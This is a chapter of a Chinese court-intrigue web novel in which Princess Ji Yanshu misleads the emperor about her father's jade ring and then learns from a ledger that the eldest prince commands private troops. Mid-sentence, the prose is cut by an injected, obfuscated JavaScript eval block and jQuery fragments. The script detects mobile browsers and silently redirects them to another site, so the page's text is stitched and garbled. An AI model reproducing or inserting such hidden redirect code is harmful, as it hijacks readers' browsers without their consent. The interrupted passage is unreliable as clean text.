第二天一早,韩弋收拾停当,着人去季砚书院子里问了安,就按部就班的去上朝了。
季砚书照例睡到日上三竿,这才不情不愿地起床,估摸着快到了下朝的时候才起身穿戴整齐,不足一柱香的功夫,就等来了召她入宫的圣旨。
皇上坐在龙案前面看奏折,也不知道看进去了多少,反正刚才黄喜进来的时候,折子就停在这一页没有动。
他讪笑一声说道:“陛下,长宁殿下来啦。”
“嗯。”元康帝哼哼两声,睁开已经闭上了多一半的眼皮,说,“让她进来。”
季砚书一进门,看见的就是快要被桌子上堆积如山的奏折压得没了影的元康皇帝。
“臣……”
“坐坐坐。”元康皇帝摆摆手,在座位上伸了个懒腰,起身就要将她拉起来,“小时候教训过那么多遍,也没见你这么规矩,快起来吧。”
“最近怎么样?韩弋对你好吗。”元康帝伸手,让季砚书坐在自己身边,“我最近让那孩子干了这么多差事,都没空陪你了吧。”
季砚书嘴上胡乱应付着,不知道这老皇帝抽哪门子风,她和韩弋到底是怎么一回事,别人不知道,他还能不知道吗?好像故意说这话膈应人一样。
元康帝伸手将刚刚就摆在桌子正中间的一本折子递给季砚书,一边打哈欠一边说:“朕前一阵子让他去查江南科举案了,今早刚递的折子,你也来看看。”
季砚书心不在焉地接过来看了一眼,写的中规中矩,都是一些官场糊弄人的废话,该摘的人都摘干净了,该做的账都做的很漂亮,韩弋这折子就算是让她来查也查不出什么花来,季砚书不明白皇帝到底想要干什么,嘴上只说:“能为陛下分忧,也是他的荣幸。”
她注意到这张折子没有朱笔批复。
“行了,别在这说违心的话了。”元康帝侧头,这才进入季砚书苦苦等待地正题,“受委屈了?”
季砚书低头不说话。
“还有什么事是不能和朕说的。”元康皇帝叹了口气,将手边另一封折子也递给季砚书,“你平常最是乖巧懂事,怎么还能让魏泽远一纸奏折将你参了上来?说说,到底怎么了。”
季砚书一愣,看着面前金灿灿地奏折有点没反应过来。
魏泽远,参她?喝多了吧!
季砚书原本以为对方气不过,在朝会上说两句自己的坏话,为了个戏子,也就是顶了天了。
她一个嫁了人的女眷,顶多斥责一句娇蛮任性,还能真说出什么不是来?没想到此人竟然还大费周章地写了折子,季砚书一脸木然地扫过,不愧是自己考上来的举人老爷,竟然洋洋洒洒写了两页,也不知道大皇子当堂听到这个会有多么郁闷。
季砚书差点没在皇帝面前笑出声来,花了十二分的力气压下嘴角,强装闷闷不乐的语气:“我前些日子在王府收拾东西,找出来好些旧首饰,本来想找个地方重新修了收回来,可没想到那个小贱人胆大包天,竟敢擅自抢走我父母的遗物,我本想上门教训教训,可那魏泽远,他算是个什么东西,还敢推搡我的人!”
季砚书越说越委屈,忽地伸出一只手死死攥着桌子的一角,右手和木制的桌子磕碰出清脆的一声,引起了老皇帝的注意,他垂下眼眸,注意到季砚书手上带着一枚略旧的青玉扳指。
他指着季砚书的手:“你手上这个,哪来的?”
“是父王的旧物。”季砚书闷闷不乐地摩挲着那枚扳指,语气听起来像是个没人撑腰的孩子。
“父王战死边疆,尸骨无存,这枚扳指是副将从他断肢上的口袋里取下的,其余的部分找不到了,只留下了这个。父王常年不在家,留给我的东西不多,我不愿意它随葬,就……擅自留了下来。”
季砚书适时地低头,这样看来和已故的老王爷有九分相似,元康皇帝竟是一阵恍惚,久久没有言语,良久,才接着开口,语气淡淡的:“不是好久没回王府了,怎么想起收拾那些旧物。”
季砚书收拾了心情,老老实实地回答:“毕竟是父亲母亲的遗物,之前在西……在外面的时候,每年都是平叔想着收拾整理。这几年王府里的人走的走,死的死,不剩什么人了,我才去收拾。”
元康皇帝点点头,突然牵起了季砚书的手,安抚地拍了拍,不知是有意还是无意,手碰触过那枚古旧的扳指。直到季砚书告退,他也再没说一个字。
季砚书低头贴墙出了宫门,坐上马车的那一刻,那点可怜的眼泪转瞬即逝,她木然地坐在马车上,手里摩挲着那枚扳指,长舒了一口气。
刚才那一番话自然是她编出来骗老皇帝的,这东西意义非常,老王爷在世时常常带在身上,他和元康皇帝算是一路扶持上来的,情谊比别的君臣深得不止一星半点,平日里从来都不离身,但是却在临行前将它放进了季砚书的妆奁。
季砚书心里疑惑,这就好像,老王爷早就知道这一去再不能回一样……
季砚书拼命想回忆起那一晚发生的事情,但是她当时实在是年纪太小,无论怎么努力,脑子里始终是一团乱麻,最后她躺在马车的榻上,索性抛开不想。
老皇帝也就只有在他父王的事上还能稍微硬气一点了,这么一闹,户部尚书肯定要吃瓜落,大皇子没了户部,短时间内不好再扑腾,也不好真将这笔帐算在季砚书头上,更别说攀扯太子了。
有了这个契机,就能让韩丞的手离今年科考远远的,到时候太子党得了喘息,再加上顾玄明钟沁,也是勉强有了和大皇子一搏的资格。
做梦总是容易的,季砚书收回了自己天马行空的思绪,突然觉得有点没意思,心里嗤笑道:痴心妄想,从韩丞那个成了精的老狐狸眼皮子底下捣乱,哪是那么简单的事?
她闭上了眼,忽然觉得有点绝望。
她要是真有那样大的能耐,就跟冲进尚书府打杀那个室妾一样,将朝堂上那些个成事不足败事有余的废物东西都一棍子弄死干净,哪用得着费这些事?
怎么就没托生成个男人呢……
季砚书回府时还没到吃晚饭的时间,她先是躺在床上睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425035|169124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了个昏天暗地,等她一觉起来,天都已经黑了,侍书拿来一封书信,季砚书才渐渐清醒过来。
“谁的?”她躺在床上半死不活地问。
“顾将军来的,回殿下赴宴的帖。”侍书将信放在她手边。
季砚书闭眼摸索着打开,躺在床上一目十行地扫过,突然翻身坐起来,攥着那张帖子沉默了良久,仿佛睡懵了一般不说话,侍书担心她,轻声道:“殿下?”
“你说,皇帝为什么要答应韩弋娶我?”季砚书突然没头没尾地发问,给侍书也问懵了。
季砚书喃喃:“韩宝元是中宫皇后,她哥哥是当朝宰相,还生了个既嫡又长的大皇子。他们不知我身份,皇帝却是知道的,把我嫁过去,不就是摆明了将我手边的军权拱手相让吗?”
“大概是陛下笃定殿下对太子的情谊,不会轻易变卦吧。”侍书回。
“对。”季砚书说,“我和太子青梅竹马,若说这皇城里面谁对他忠心耿耿,还能捎带手有所助益的,那就只有我了。”
季砚书突然想起来皇帝给自己看的折子,福至心灵地问:“韩弋回来了没有?”
侍书:“还没。”
“你去,现在就去,去韩弋的书房,替我找一样东西。”季砚书披衣起身,“悄悄地,别让别人看见,要快。”
不一会儿,侍书取回来一样东西,季砚书快速翻看着,翻到一半,她突然在一页上顿住。
沉默良久,季砚书石破天惊地说了一句:“大皇子有兵。”
侍书惊地站了起来:“殿下?”
季砚书好像如梦方醒,捏着账本愣在了当场,然后毫无预兆的,她把手上的东西狠狠摔在地上,把侍书吓了一跳。
谁说老皇帝糊涂的?他聪明出花来了!
他心里门儿清的知道这是一堆自己解决不了的烂摊子,还这么心安理得拐弯抹角的丢给她和太子!
还有大皇子也是,就皇帝那个被酒色掏空了的身子还能坚持几年?他就这么迫不及待,非得在手底下养着一群苍蝇?
一家子的混账东西!
侍书却比她还着急:“殿下,大皇子手里既然有兵,那咱们……”
“我刚才气糊涂了。”季砚书原地转了两圈,又冷静下来,“大皇子靠着江南盐商敛财不是一天两天了,从账本上也能看出来,手上有兵也应该早成规模了,现在还不动手,应该是还有所忌惮,皇帝手上也许有什么东西……”
“殿下!”就在这时,时春从外面跑进来,气喘吁吁地说,“韩大人回来了,现在在咱们院子外,说是要请殿下安。”
季砚书一愣,看了看时辰,奇了,韩弋往年一年来见她的次数都没有这个月高,他这是吃错什么药了?
她皱皱眉,刚想说不见,那个“不”字刚开了个头,季砚书就又想起了那本账,话音一转,“请进来。”
说罢,将手上的账本悄悄塞进侍书手里,侍书会意,接过账本,随后悄无声息地消失在屏风后面,季砚书这才整理衣服,等着接客。